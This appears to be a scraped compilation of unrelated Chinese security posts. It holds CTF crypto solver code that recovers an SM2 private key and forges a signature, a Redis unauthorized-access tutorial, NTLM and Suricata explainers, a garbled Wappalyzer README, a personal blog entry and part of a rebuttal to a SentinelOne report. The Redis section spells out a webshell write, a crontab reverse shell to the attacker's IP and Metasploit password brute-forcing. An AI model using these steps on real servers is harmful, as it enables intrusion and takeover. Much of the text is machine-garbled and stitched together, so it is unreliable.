a,b = int(a),int(b)

nums = 4
L = Matrix(ZZ,2*nums,2*nums)
for i in range(nums+1):
L[i,i] = 1
for i in range(nums-1):
L[i,nums+i+1] = a
L[i+1,nums+i+1] = -1
c = a*2^32*t[i] - 2^32*t[i+1] + b
L[nums,nums+i+1] = c
L[nums,nums] = 2^32
for i in range(nums-1):
L[-i-1,-i-1] = MASK
L[:,-(nums-1):] *= MASK

res = L.LLL()[0][:4]
print(res)

decrypt:

from gmssl.sm4 import CryptSM4, SM4_ENCRYPT, SM4_DECRYPT

MULTIPLIER = 6364136223846793005
ADDEND = 1
MASK = 0xffffffffffffffff
ITERATIONS = 1000

global_seed = 0 # TODO
iv_high = 0xe0ae615b
iv_low = 187714221
iv_last = (iv_high << 32) + iv_low
global_seed = iv_last

def genRandom():
global global_seed
# print("global_seed", hex(global_seed))
for _ in range(ITERATIONS):
global_seed = (global_seed * MULTIPLIER + ADDEND) & MASK
return (global_seed >> 32) & 0xffffffff

# 16进制字符串转bytes
def HexStringToBytes(hex_str):
return bytes.fromhex(hex_str)

# bytes转16进制字符串
def BytesToHexString(byte_seq):
return byte_seq.hex()

def genSM4KeyOrIV():
return HexStringToBytes(''.join(f'{genRandom():08x}' for _ in range(4)))

def SM4Encrypt(data_bytes, key_bytes, iv_bytes):
sm4 = CryptSM4()
sm4.set_key(key_bytes, SM4_ENCRYPT)
return sm4.crypt_cbc(iv_bytes, data_bytes)

def SM4Decrypt(cipher_bytes, key_bytes, iv_bytes):
sm4 = CryptSM4()
sm4.set_key(key_bytes, SM4_DECRYPT)
return sm4.crypt_cbc(iv_bytes, cipher_bytes)

iv_bytes = HexStringToBytes("90fc5cf2e2f47488a257fd51e0ae615b")
key_bytes = genSM4KeyOrIV()
print(key_bytes)

with open("总经理协同签名流量包(加密后的文件).dat", "rb") as fp:
cipher_bytes = fp.read()
plain_bytes = SM4Decrypt(cipher_bytes, key_bytes, iv_bytes)

with open("plainText.pcapng", "wb") as fp:
fp.write(plain_bytes)

然后就可以在流量包里找到flag4。

3fbak5u1zaz11888.png


最终挑战 *

在比赛还是不到半分钟的时候,我们队才惊险地交上flag4,完全没有时间看最终挑战了,因此只能赛后复现一下。

flag4的流量包跟踪TCP流,可以看到里面有以下内容:

image-20240906162944644

除了flag4外,剩下的数据很显然是和flag2的协同签名有关的,而相比于flag2来说,这里多给了一个client_sign字段的值,再回头看看.js文件可以发现这是clientSign2函数的返回值,其流程为:

在clientSign1的过程里会生成一个随机数k1,满足:apepf5mp50p11899.png
  • 传入未知的用户私钥d1,以及已知的s2、s3、r
计算s:
nb44rvroike11907.png

可以看出s1、s的生成等式其实分别就是关于d1、k1的两个变量的方程,所以就可以解出d1了。而我们的目的是伪造一个签名,解出d1之后走一遍协同签名的流程就好了,自然也就没有难度。

没有交互部分了,但可以用d1联系的两个点来检验d1的正确性

exp:

from Crypto.Util.number import *

a = int("FFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF00000000FFFFFFFFFFFFFFFC", 16)
b = int("28E9FA9E9D9F5E344D5A9E4BCF6509A7F39789F515AB8F92DDBCBD414D940E93", 16)
p = int("FFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF00000000FFFFFFFFFFFFFFFF", 16)
n = int("FFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFF7203DF6B21C6052B53BBF40939D54123", 16)
x = int("32C4AE2C1F1981195F9904466A39C9948FE30BBFF2660BE1715A4589334C74C7", 16)
y = int("BC3736A2F4F6779C59BDCEE36B692153D0A9877CC62A474002DF32E52139F0A0", 16)

E = EllipticCurve(Zmod(p),[a,b])
G = E(x,y)


################################################################################# res
q1x = "125fd6eb66351ca49073a6e55be1fa40cfd6662f80452a6bcea3b25bd69b6b26"
q1y = "79a9748598cc2886b09fa856b9806b8789b8a719f6a969e2f08da35ea997bc5d"
e = "eaf0adee014bd35a12180bbc99292e3acf895203aa97f8dbbb760da04da844f6"
r1 = "125fd6eb66351ca49073a6e55be1fa40cfd6662f80452a6bcea3b25bd69b6b26"
s1 = "47baaef61c7a3c4c239fc2634ec25a2059d937026c6e0b72df1463fbba5b3a05"
p1x = "4c84b1cf8e9255c9385c07c2bf3426a9497d49e2b33c328ab02c4aed8b021bad"
p1y = "8a3e40da9d3423f27be30eebb2e4e11999e565be0def197fe1bcf4f6b724b471"

r = "8A6BB033033E79683E81FE36D6394262D451A3DB9D1A0C489D51543D22E67BC4"
s2 = "B54A6668F644EC08D925552D45F66E348762B460693E7A68CBB0FDF38327DB45"
s3 = "B50FAE013594F79192898FF7FC0A84D931B1EC56EF9174159023ACF1C708180D"

s = "cb524f49515c9a7387210ddcdbf1f32aad1c8806f01a362c62a5d6a5466da158"


tt = [e,p1x,p1y,q1x,q1y,r1,s1,r,s2,s3,s]
e,p1x,p1y,q1x,q1y,r1,s1,r,s2,s3,s = [int(i,16) for i in tt]
P1 = E(p1x,p1y)
Q1 = E(q1x,q1y)

################################################################################# solve d1
PR.<k1,d1> = PolynomialRing(Zmod(n))
f1 = (s1*k1 - e)*d1 - r1
f2 = d1*k1*s2 + d1*s3 - r - s
res = f1.sylvester_matrix(f2, k1).det().univariate_polynomial().monic().roots()
d1 = int(res[1][0])

print(d1*P1 == G)

   或者

from sage.all import *

a = 0xFFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF00000000FFFFFFFFFFFFFFFC
b = 0x28E9FA9E9D9F5E344D5A9E4BCF6509A7F39789F515AB8F92DDBCBD414D940E93
p = 0xFFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF00000000FFFFFFFFFFFFFFFF
n = 0xFFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFF7203DF6B21C6052B53BBF40939D54123
x = 0x32C4AE2C1F1981195F9904466A39C9948FE30BBFF2660BE1715A4589334C74C7
y = 0xBC3736A2F4F6779C59BDCEE36B692153D0A9877CC62A474002DF32E52139F0A0
E = EllipticCurve(GF(p), [a, b])
G = E(x, y)

s = 0xcb524f49515c9a7387210ddcdbf1f32aad1c8806f01a362c62a5d6a5466da158

r = 0x8A6BB033033E79683E81FE36D6394262D451A3DB9D1A0C489D51543D22E67BC4
s2 = 0xB54A6668F644EC08D925552D45F66E348762B460693E7A68CBB0FDF38327DB45
s3 = 0xB50FAE013594F79192898FF7FC0A84D931B1EC56EF9174159023ACF1C708180D

e = 0xeaf0adee014bd35a12180bbc99292e3acf895203aa97f8dbbb760da04da844f6
r1 = 0x125fd6eb66351ca49073a6e55be1fa40cfd6662f80452a6bcea3b25bd69b6b26
s1 = 0x47baaef61c7a3c4c239fc2634ec25a2059d937026c6e0b72df1463fbba5b3a05

d2 = ZZ((s3 - s2) * inverse_mod(r, n) % n)

'''
s1*k1-e = d1^(-1) * r1
r1 = d1*(s1*k1-e)
r1 = d1*k1 * s1 - d1*e
s = d1*k1*s2 + d1*s3 -r
s*s1 = d1*k1*s1 * s2 + d1*s3*s1 - r*s1
s*s1 = (r1+d1*e)*s2 + d1 * s3*s1 - r*s1
'''
R = PolynomialRing(GF(n), 'x')
x = R.gens()[0]
f = (r1 + x*e)*s2 + x*s3*s1 - r*s1 - s*s1
ans = f.roots()

d1 = 90919127323695568397119051689582862352296983775157729258730148362152821090405
d2 = 75133153874808200698750375741973887146735262423059242244009334005845482114914
e = 0x9e810778a6b177c6aa1799365977adfbeef605c19b5ea917527d1541c1339019

k1 = 233
P = inverse_mod(d1, n) * G
Q = k1*G
r1 = ZZ(Q.xy()[0])
s1 = ZZ(inverse_mod(k1, n) * (e + inverse_mod(d1, n) * r1) % n)

k2 = 17
k3 = 71
R = k2*G + k3*Q
x1 = ZZ(R.xy()[0])
r = ZZ((e + x1) % n)
s2 = ZZ(d2 * k3 % n)
s3 = ZZ(d2 * (r+k2) % n)

s = (d1*k1*s2 + d1*s3 - r) % n
print(s)
print(hex(r)[2:])
print(hex(s)[2:])




来源: https://tangcuxiaojikuai.xyz/post/6452f9a0.html

HireHackking

Title: Redis Unauthorized

Redis is a cross-platform non-relational database. The data in memory can be saved on disk and can be loaded again for use during restart. It supports strings, hash tables, lists, collections, ordered collections, bitmaps, hyperloglogs and other data types.Redis

Vulnerability Principle

When Redis defaults to port 6379 and is a password or a weak password, the redis service on the public network will be accessed by any user unauthorized, read data, and use redis's own commands to write files. Thus gaining system permissions.

Experimental Environment

Centos7 (public network, victim end) Kali Linux (attack end)

Installing Redis

We first install Redis in Centos. Execute the following commands separately

wget http://download.redis.io/releases/redis-2.8.17.tar.gz #Download

tar xzf redis-2.8.17.tar.gz #Decompression

cd redis-2.8.17

make #Compiled

cd src

cp redis-server /usr/bin

cp redis-cli /usr/bin

cd .

cp redis.conf /etc/

redis-server /etc/redis.conf 编译安装 启动

It should be noted that we need to open port 6379 in the firewall and security group.

Unauthorized Test

We directly execute the following command in kali

redis-cli -h 8.219.xxx.xxx 连接成功

If it is a higher version of redis, you need to modify the configuration file. Remove the # comment before bind and change the protected-mode to no.

Use redis to write webshell

When writing webshells using redis, we need to know the path of the web site. Otherwise, you won't be able to connect even if you generate a webshell. Suppose that when we are in our site directory, execute the following command.

config set dir /var/www/html #Set directory

config set dbfilename kali.php #Generate file

set xxx '\r\n\r\n?php phpinfo();\r\n\r\n' #Write content to the file

save#Save nalxquqagth126.png

After completion, we access the file c4zfrxwn0zn129.png

Bounce Shell

We use nc to listen to ports in kali.

nc -lvp 5555 lfaukvjwgnd130.png

Next we use redis to create a timed task file. Online nc through timed tasks

config set dir /var/spool/cron/crontabs

config set dbfilename root

set xxx '\n\n* * * * * * /bin/bash -i/dev/tcp/kali's IP/5555 01\n\n'

After saving time, the command will be automatically executed to go online.

redis password cracking

Generally speaking, the default password will be set. We modify it in the configuration file redis.conf.hhnfmxntfs2131.png

Configure msf

msfconsole

use auxiliary/scanner/redis/redis_login

set RHOSTS 8.219.xxx.xxx

set PASS_FILE /root/22.txt #Set password dictionary

run 配置如上

破解成功

There are many modules for redis utilization in msf. We can use the following command to view

search redis 4khkzo5bqac135.png

After simple configuration, it can be used directly.

Windows身份验证机制的分析:本地,工作组,域环境。

本地身份验证(用户登录)

概念

在本地登录Windows时,操作系统将使用用户输入的密码作为凭据来验证系统中的密码。操作系统中的密码存储在

当1%SystemRoot%\ System32 \ Config \ Sam登录到系统时,系统将在SAM文件中自动读取“密码”,并将其与我们输入的“密码”进行比较。如果相同的话,它证明了身份验证成功!

该SAM文件保留了计算机本地所有用户的凭据信息,可以将其理解为数据库。

※注意:Windows本身并不能保存纯文本密码,仅保存密码哈希。

ntlm哈希的产生

NTLM Hash的前身是LM哈希。由于安全性缺陷,它已被消除。无需了解太多。只知道有这个东西。

假设我的密码是管理员,操作系统将把管理员转换为十六进制。在Unicode转换后,它将将MD4加密算法称为加密。该加密结果的十六进制系统是NTLM哈希。

123admin - hex(hex encoding)=61646d696e61646d696e - Unicode=610064006d0069006e00610064006d0069006e00 - MD4=209c6174da490caeb422f3fa5a7ae634

本地认证过程

123456winlogon.exe-接收用户输入-lsass.exe-(身份验证)1。在用户注销后,重新启动并锁定屏幕2。操作系统将使Winlogon显示登录界面,即输入框3。输入输入后,将密码置于PLASIT上,该过程将其存储在该流程中,将其存储在此过程中,该过程将其存储在此过程中。哈希,并比较SAM数据库Windows登录进程(即Winlogon.exe)的身份验证,该过程是Windows NT用户登录程序,用于管理用户登录和注销。

LSAS用于Microsoft Windows系统的安全机制。它用于本地安全性和登录策略。

net NTLM)

由于DC(域控制器)的参与过程,工作组环境和域环境中的NET NTLM身份验证过程略有不同,但这不会影响我们的哈希交付攻击。让我们在这里分开谈论它。

NTLM协议概念

此协议仅支持Windows NTLM作为网络身份验证协议,全名是:NT LAN Manager,它是基于挑战/响应身份验证机制的身份验证模式。

NTLM网络身份验证协议是一种使用NTLM哈希作为身份验证的基本证书的协议。消息的传输取决于使用NTLM的上层协议,例如SMB,LDAP,HTTP等。

工作组

NTLM协议身份验证过程

谈判:它主要用于确认双方之间的协议版本。 NTLM中有两个版本的V1和V2。具体的区别在于,加密方法是不同的,因此通常没有必要。

询问:有效的是挑战/响应身份验证机制的范围,也是身份验证机制的核心。

验证:验证主要验证询问完成后的结果,这是身份验证的最后一步。

谈判

img

问题

1. client将用户信息(用户名)请求发送到服务器。

2。接收到用户信息后,服务器确定是否存在本地帐户列表(如果不存在,则返回身份验证失败)。如果存在,它将生成一个16位随机数(挑战),然后使用与登录用户名相对应的NTLM哈希加密挑战(16位随机字符),并生成挑战1(net-ntlm hash)以存储在内存中。同时,向客户发送挑战(16位随机字符)。

3。在客户端收到服务器发送的挑战之后,请使用要登录到帐户的NTLM Hash加密挑战以生成响应(Net-NTLM Hash),然后将响应发送到服务器。

净NTLM哈希在此处介绍:NTLM哈希加密挑战的结果称为网络协议中的NET NTLM HASH(不能直接用于执行Hash Pass攻击,但是可以通过蛮力破解获得宣传密码)。

详细简介:https://daiker.gitbook.io/windows-protocol/ntlm-pian/4#0x03-net-net-ntlm-hash

服务器收到客户端发送的响应(net-ntlm hash)之后,它与以前存储在内存中存储的Challenge1(Net-NTLM Hash)进行比较。如果是平等的,则身份验证将通过。

现在,让我们看一下身份验证过程。清晰吗?

作者倾旋

NTLM协议身份验证过程

域NTLM身份验证过程下的域环境中的过程略有不同,因为有DC(域控制器)参与的工作组。

作者daiker

①用户将登录到客户端计算机中。

②客户端将协商消息发送到服务器,该消息主要包含客户端支持并由服务器请求的功能列表。

③服务器响应挑战消息(挑战),其中包含服务器支持和同意的功能列表。但最重要的是,它包含服务器产生的挑战。

④客户通过身份验证消息(响应)回答了这个问题。用户在步骤③中收到挑战后,他使用用户哈希和挑战来执行加密操作以获得响应,并将响应,用户名和挑战发送给服务器。消息中的响应(net-ntlm hash)是最关键的部分,因为它们向服务器证明了客户端用户已经知道帐户密码。

⑤服务器获取身份验证消息(响应)后,使用挑战和用户哈希对其进行加密以获取响应2并将其与步骤3发送的响应进行比较。

目前,如果已经过身份验证的用户哈希存储在域控件中,则在本地没有身份验证的用户哈希,并且无法计算响应2,因此验证步骤⑤无法完成。因此,服务器将通过Netlogon协议联系域控制,建立安全的频道,然后将所有协商消息,挑战消息和身份验证消息(响应)发送到域控制(此过程也称为通过身份验证身份验证过程)。

⑥域控制使用挑战和身份验证的用户的哈希对响应2进行加密,并将其与类型3的响应进行比较,以确定其是否一致。

⑦完成认证过程。

参考文章

https://Daiker.gitbook.io/windows-protocol/ntlm-pian/4#0x02-ntlm-shen-fen-fen-yan-zheng

https://payloads.online/archivers/2018-11-30/1/

https://ares-x.com/2020/03/16/%E5%9f%9f%9F%E6%B8%97%E9%E9%80%80%8F%E5%AD%AD%A6%E4%B9%A 0%EF%BC%88%E4%B8%80%EF%BC%89Windows%E8%AE%A4%E8%AF%AF%81%E6%9C%BA%E5%E5%88%B6/

该项目是使用Wappalyzer扩展名(及其指纹)来检测技术的命令行工具和Python库。官方开源项目停产后出现的其他项目正在使用过时的指纹,并且在动态Web应用程序上使用时缺乏准确性,该项目绕过了这些限制。

安装

在安装Wappalyzer之前,您将安装firefox和geckodriver/releases'geckodriver。以下是用于设置Geckodriver的详细步骤,但您可以使用Google/YouTube进行帮助。

设置壁虎

步骤1:下载geckodriver

访问github:的官方壁虎版本页

https://github.com/mozilla/geckodriver/Releases下载与您的System:兼容Windows: geckodriver-vx.xx.xx.x-win64.zip for Macos3: geckodriver-vx.xx.xmacos.xmacos.tar.tar.tar.tar.tar.tar.tar.tar.tar.tar.tar.tar.tar.tar.tar.tar.tar.tar.tar.tar.tar.tar.tar.tar.tar.tar.tar.tar3360 geckodriver-vx.xx.x-linux64.tar.gz将下载的文件提取到您选择的文件夹。

步骤2:将geckodriver添加到系统路径

要确保硒可以找到geckodriver overutable: -windows: 1。将geckodriver.exe移动到目录(例如,c: \ web drivers \)。 2。将此目录添加到系统的路径:-开放环境变量。 - 在系统变量下,查找并选择“路径变量”,然后单击“编辑”。 - 单击新的,然后输入存储geckodriver.exe的目录路径。 - 单击确定以保存。 -MacOS/Linux: 1。将geckodriver文件移至/usr/local/bin/或路径中的其他目录。 2。在终端:中使用以下命令,bash sudo mv geckodriver/usr/local/bin/suars/usr/usr/local/bin/在您的路径中。

以命令行工具安装

PIPX安装Wappalyzer

以库

安装

将其用作库,将其与pip一起安装在隔离容器中,例如。 Venv或Docker。您也可以- 进行“常规”安装,但不建议进行“常规”安装。

使用Docker

安装

步骤

克隆repository: git克隆https://github.com/s0md3v/wappalyzer-next.git

CD Wappalyzer -Next -next构建和运行Docker Compose: Docker使用Docker Container :组成-D扫描URL

扫描单个URL:

Docker Compose Run -RM Wappalyzer -I https://Example.com扫描File: Docker Compose Run的多个URL -RM Wappalyzer -I https://Example.com -oj output.json :01

用户

下面给出了一些常见的用法示例,请参阅下面的一些常见用法,请参阅所有选项的列表。

扫描单个URL: Wappalyzer -I https://Example.com扫描来自File: Wappalyzer -i urls.txt -t 10扫描的多个URL,使用身份验证: wappalyzer -I 3https://Example.com -c c.com -c sessigniD=ABC123; token=xyz789'导出结果json: wappalyzer -i https://Example.com -oj results.json

选项

Note:用于准确性使用“完整”扫描类型(默认)。 “快速”和“平衡”不使用浏览器仿真。

-i:输入URL或包含URL的文件(每行) - 扫描型:扫描类型(Default:'full')fast: fast:基于http的快速扫描(发送1个请求)balanced:基于http并发线程(Default: 5)-OJ: JSON输出文件路径-OC: CSV输出文件路径-OH: HTML输出文件路径-C,-Cookie: cookie themer tear验证的Scans scans scans scans

用于开发人员

同一姓名与Python library a -Python libly a -py at py at pycy and pypipi and pypipi and pypipi and pypipi and pypipi。

使用库

您将与IS Analyze():互动的主要功能

来自Wappalyzer进口分析

#基本用法

结果=分析('https://example.com')

#带有选项

结果=分析(

url='https://example.com',

scan_type='full',#'fast',“ balanced”或“ full”

线程=3,

cookie='sessionid=abc123'

analyze()函数参数

URL(str):分析scan_type(str,可选)的URL :类型的扫描类型,以执行“快速':基于http http的快速扫描'balanced': http scan,其基于http的scan具有更多的javas offer': execan,包括javasction(包括javas)可选):并行处理的线程数(Default: 3)cookie(str,可选): cookie标头字符串,用于身份验证的扫描

返回值

返回带有URL的字典作为键,并检测到的技术为value 3:

{

'https://github.com': {

'Amazon S3': {'version':'','profelse': 100,'categories': ['cdn'],'groups': ['server']},

'lit-html': {'version':'1.1.2','profesteR': 100,'categories': ['javascript libraries'],'groups': ['Web Development'},

'react Router': {'version':'6','profesteR': 100,'categories': ['javascript Frameworks'],'groups': ['Web Development'},},

'https://google.com': {},

'https://Example.com': {},

}}

常见问题

为什么要使用Firefox代替Chrome?

Firefox扩展名为.xpi文件,它们本质上是zip文件。这使得更容易提取数据并稍微修改扩展程序以使该工具起作用。

“快速”,“平衡”和“完整”扫描类型有什么区别?

FAST:向URL发送一个HTTP请求。不使用扩展名。 Balanced:将其他HTTP请求发送到.js文件, /robots.txt annd做DNS查询。不使用扩展名。 Full:使用官方Wappalyzer扩展程序在无头浏览器中扫描URL。

HireHackking

迟来的年度总结

我不知道现在写年度摘要是否有点晚。

2019

在2019年,一切顺利。我一生中的第一次实习,进入了一些小的沟通,并遇到了一些真正的“大师”。通过各种渠道,例如论坛,官方帐户,QQ,微信组和小圈子,我每天都可以被动地积极地学习各种思想和知识,并进行一些技术积累,但我仍然觉得我缺乏某种东西,这是我的定位和发展方向。

由于我选择了穿透测试的路径,因此我必须坚持下去。面对知识的“深度”和“广度”的发展,这一直是我非常困惑的问题。

选择“深度”

找到一个领域,进行深入研究,并努力在几年内达到一定水平。最好成为该领域的相对领先地位,但我觉得我并不那么聪明。我一直都在研究,我正在模仿我已经研究的内容,而且很少有人自己研究它。

选择“广度”

这更适合工作场景的需求。为了达到目标要求,您将使用任何手段来支持它。困难不亚于前者,甚至更多。进行渗透测试时需要考虑的也是一个方面。我们需要做的是在表面上找到一个突破点。这个突破点不应仅限于网络,因此我们自然需要了解一些特殊的攻击方法,这就是为什么存在“广度”的原因。这种感觉变得更加清晰,尤其是在我看到并了解更多之后。

2020

我的答案

最近,我关注了一个带有匿名ID的大师撰写的博客。匿名可能是作品本质的原因。阅读后记录的内容或多或少会引起共鸣,我还找到了问题的答案。合格的“黑客”必须追求“广度”,同时也发展了他的“深度”。这两个实际上并没有冲突,但他们只需要将更多的精力置于他们善良的方向上。如果您坚持不懈,如果您有耐心,您将始终取得成果。

未来计划

将继续练习网络(很容易开始,很难深入研究)

扩展Intranet渗透的新方向(水平,没有杀戮,权利保护)

Python(清晰的想法,高效编码)

最终目标

努力通过自己独特的见解实现相对完整的渗透测试系统

二開背景suricata是一款高性能的開源網絡入侵檢測防禦引擎,旨在檢測、預防和應對網絡中的惡意活動和攻擊。 suricata引擎使用多線程技術,能夠快速、準確地分析網絡流量並識別潛在的安全威脅,是眾多IDS和IPS廠商的底層規則檢測模塊。

前段時間搭了個suricata引擎播包測試流量規則,發現原生的suricata引擎並不能獲取規則匹配的位置、命中的字符串等信息。因suricata引擎並不會輸出命中的信息,遂修改源碼,改了命中詳情(下文簡稱高亮)出來,今天想跟大家分享一下修改和使用的過程。

1、suricat編譯安裝參考官方文檔https://docs.suricata.io/en/suricata-6.0.0/install.html#install-advanced

先裝庫,裝rust支持,裝make

然後下載源碼make

編譯後的二進製程序在/src/.libs/suricata查看依賴庫,然後補齊到默認so庫目錄中即可運行。

0624-1.png2、vscode+gdb調試suricata環境搭建然後就是裝插件,除了必備的c語言插件全家桶之外還需要裝GDB Debug這個插件。

接著任意新建一個運行配置。

0624-2.png

修改lauch.json為:

{ //Use IntelliSense to learn about possible attributes. //Hover to view descriptions of existing attributes. //For more information, visit: https://go.microsoft.com/fwlink/?linkid=830387 'version': '0.2.0', 'configurations': [ { 'name': '(gdb) Launch', 'type': 'cppdbg', 'request': 'launch', 'program': '${fileDirname}/./src/.libs/suricata', //以下為監聽網卡模式。 //'args': [ //'-i', 'ens33', '-c', '/home/lalala/Desktop/suricata/6/suricata.yaml', '-v', '-l','/home/lalala/Desktop/suricata/6/log6/','--runmode', 'single' //], //以下為讀包模式。 'args': [ '-r', '/home/lalala/Desktop/suricata/6/6-27/48040.pcap', '-c', '/home/lalala/Desktop/suricata/6/suricata.yaml', '-v', '-l','/home/lalala/Desktop/suricata/6/log6/','--runmode', 'single' ], 'stopAtEntry': true, 'cwd': '${fileDirname}', 'environment': [], 'externalConsole': false, 'MIMode': 'gdb', 'setupCommands': [ { 'description': 'Enable pretty-printing for gdb', 'text': '-enable-pretty-printing', 'ignoreFailures': true }, { 'description': 'Set Disassembly Flavor to Intel', 'text': '-gdb-set disassembly-flavor intel', 'ignoreFailures': true } ] }, ]}選擇配置好的配置運行,看到斷在入口,調試環境完成。

QQ截图20240624140810.png

3、suricata流程分析,尋找關鍵位置QQ截图20240624140851.png流程過於復雜,簡單理解就是匹配和記錄日誌的地方是分在不同線程,但是又有結構體可以從匹配帶到那裡。

4、關鍵位置代碼分析,獲取高亮內容根據流程,在初始化後慢慢摸索找到關鍵函數DetectEngineContentInspection

smd為傳入規則,根據type的不同走不同的代碼塊兒匹配。本次加高亮重點關注CONTENT和PCRE這兩個最常用的類型。

QQ截图20240624140911.png

CONTENT代碼塊裡,重點在於這個found。分析得出最後兩個else裡都是命中。

QQ截图20240624140933.png

根據原字符串,偏移,長度即可組合出高亮字符串。

QQ截图20240624140954.png

f為flow結構體也就是會帶到打印日誌那邊的結構體,在結構體中新加一個字符串,即可達成帶數據到日誌流程的目的。

QQ截图20240624141026.png

高亮函數代碼:

staticintGet_gaoliang(constchar*data,u_int32_tend,u_int32_tlen,char*res){

chartmp[1024]='';

if(len1024)

{

memcpy(tmp,data+end-len,len);

}else{

memcpy(tmp,data+end-len,1024);

}

strncat(res,tmp,4096);

strncat(res,'\n\0',4096);

return1;}

pcre同理,在命中流程中加入寫高亮字符串即可。

QQ截图20240624141101.png

5、高亮加到日誌高亮字符已經寫入到了flow結構體。下一步就是在打印日誌的時候讀到,寫出來。

最優先的當然是fastlog,因為fastlog本就是觸發規則會進行輸出的日誌,且沒有其他干擾。

從Packet結構體找到flow結構體找到其中的gaoliang字符串,打印即可。

QQ截图20240624141126.png

最終效果,fastlog會在正常展示命中的同時,講高亮內容展示。

QQ截图20240624141250.png

6、修改匯總匯總代碼放在github 上鍊接https://github.com/webraybtl/suricata_gaoliang

修改文件詳情:

alert-fastlog.c加打印

修改AlertFastLogger

添加如下代碼:

PrintBufferData(alert_buffer,size,MAX_FASTLOG_ALERT_SIZE,'=========ruleid:%'PRIu32'高亮字段展示=======:\n%s====================================\n',pa-s-id,p-flow-gaoliang);

detect-engine-content-inspection.c加Get_gaoliang函數

修改DetectEngineContentInspection函數加入寫入高亮字符串邏輯。

static int Get_gaoliang(const char* data,u_int32_t end, u_int32_t len,char* res){ char tmp[1024]=''; if (len1024) { memcpy(tmp, data + end-len, len); }else{ memcpy(tmp, data + end-len, 1024); } strncat(res, tmp,4096); strncat(res, '\n\0',4096); return 1; } int DetectEngineContentInspection(DetectEngineCtx *de_ctx, DetectEngineThreadCtx *det_ctx, const Signature *s, const SigMatchData *smd, Packet *p, Flow *f, const uint8_t *buffer, uint32_t buffer_len, uint32_t stream_start_offset, uint8_t flags, uint8_t inspection_mode) { . if (found==NULL !(cd-flags DETECT_CONTENT_NEGATED)) { if ((cd-flags (DETECT_CONTENT_DISTANCE|DETECT_CONTENT_WITHIN))==0) { /* independent match from previous matches, so failure is fatal */det_ctx-discontinue_matching=1; } goto no_match; } else if (found==NULL (cd-flags DETECT_CONTENT_NEGATED)) { goto match; } else if (found !=NULL (cd-flags DETECT_CONTENT_NEGATED)) { if(f){ Get_gaoliang((char*)buffer,match_offset,cd-content_len,f-gaoliang); } SCLogInfo('content %'PRIu32' matched at offset %'PRIu32', but negated so no match', cd-id, match_offset); /* don't bother carrying recursive matches now, for preceding * relative keywords */if (DETECT_CONTENT_IS_SINGLE(cd)) det_ctx-discontinue_matching=1; goto no_match; } else { match_offset=(uint32_t)((found - buffer) + cd-content_len); if(f){ Get_gaoliang((char*)buffer,match_offset,cd-content_len,f-gaoliang); } .

flow.hflow結構體加一個gaoliang字符串成員。

typedefstructFlow_{

.

.

.

chargaoliang[4096];

}Flow;

遺留問題1、因只開闢了4096字節存高亮字符,會有溢出。

2、直接按字符串打印展示出來的,對十六進制展示不理想,00會導致打印不全。

原文鏈接

111.png

1.概述2024年2月12日,美國網絡安全公司SentinelOne在其官網上發布題為“China’s Cyber Revenge/Why the PRC Fails to Back Its Claims of Western Espionage”的報告[1],(以下簡稱“SentinelOne報告”),對“中國三家知名網絡安全企業360、奇安信、安天及中國網絡安全產業聯盟(CCIA)”等機構揭露美方情報機構網絡攻擊的相關報告進行解讀。我們先直接概括其報告中的觀點和關鍵邏輯。

SentinelOne報告對我們公開的分析報告基於時間線進行了梳理,並引述一些美方人士觀點,設定瞭如下觀點:

1、中方報告是對國際其他機構對美方分析的跟進,存在長期滯後;

2、中方分析工作嚴重依賴美方自身的信息洩露;

3、中方報告沒有“PCAP包”級別的技術實證。

SentinelOne報告的邏輯並不是應答全球網絡安全業界和研究者過去二十年來對美方情報機構攻擊活動和能力的持續分析曝光,包括在美方多次信息洩露中所暴露出來的觸目驚心的真相,而是試圖把國際關注度轉移到中國網絡安全工作者的技術能力和水平是否能夠支撐其持續獨立發現、分析、研究、溯源美方的攻擊上,並將實證的概念窄化為一種具體的技術格式。美西方此前長時間習慣性地從宏觀層面誇大中國網絡安全能力,以便為其情報機構和軍工複合體爭取巨額的網絡安全預算,而此時,突然又在微觀層面開啟一波認為中國分析溯源能力很差的“嘲諷”流,並宣判:作為被霸凌者,你們反抗無效!

對SentinelOne報告所提及的中國安全企業的分析報告,有很大比例來自安天安全研究與應急處理中心(安天CERT),我們當然承認:作為一個企業級別的安全分析團隊,分析美國情報機構這種超級網空威脅行為體的網絡攻擊活動和支撐體系,是非常艱苦的工作。我們知道其中有巨大的能力、資源等方面的落差。我們就如同一隻警覺的白兔,努力睜大雙眼去發現和分析在迷霧森林中吞噬咀嚼各種弱小動物的巨型鷹鷲,我們希望努力畫出它的樣貌,提醒森林裡的其他動物警惕它的襲擊。

2015年,我們提出了A2PT(即高級的高級持續性威脅)這一名詞,以此明確其空前的能力和威脅,也提醒我們自己,對抗和分析這種攻擊能力會有多麼困難。

分析、溯源APT攻擊本身是一個長期、複雜、需要大量資源,需要高度嚴謹的科學態度和耐心定力的工作,對於更為複雜的A2PT的分析則需要付出更大的代價。我們的工作過程基本不為常人所知,分析成果又只有專業人士才能充分理解。所以儘管SentinelOne報告整體邏輯如此之荒謬,但如果我們不向SentinelOne(我們願意稱呼他們為美國同行)點破若干他們視而不見的真相,包括向他們分享一點我們(也包括國際網絡安全業界)對APT分析工作的真正理解,就不足以讓人們看清SentinelOne報告貌似專業、甚至“公正”的梳理和分析下面隱藏的對世界的欺騙。

因此我們很感謝SentinelOne報告,讓我們有機會以自己的回憶視角串聯若干歷史分析工作,包括促成我們公佈這些工作中的一些未出現在歷史報告中的過程線索。由於這段歷程過於漫長,我們一度認為若干有價值的分析成果已經覆滿塵土,但SentinelOne報告讓我們可以把它們重新摘選出來,重新對世界發出告知與提醒。讓所有尋求真相的人們,把我們的這份報告與SentinelOne報告擺放在一起,看看何為詭辯,何為邏輯與真相!

我們並不自詡正確,但我們總還有講述自己經歷的權力!

2.接力追踪鷹鷲的足跡美方情報機構的網絡攻擊不是孤立的行動,而是基於0day漏洞、高級惡意代碼持久化和基於人力、電磁和網空混合作業的長期佈局,並有龐大的工程體係作為支撐。在長期作業過程中可能經歷大型惡意代碼工程的多次迭代,這使得國際網絡安全業界的分析曝光工作看起來像一場工作接力。

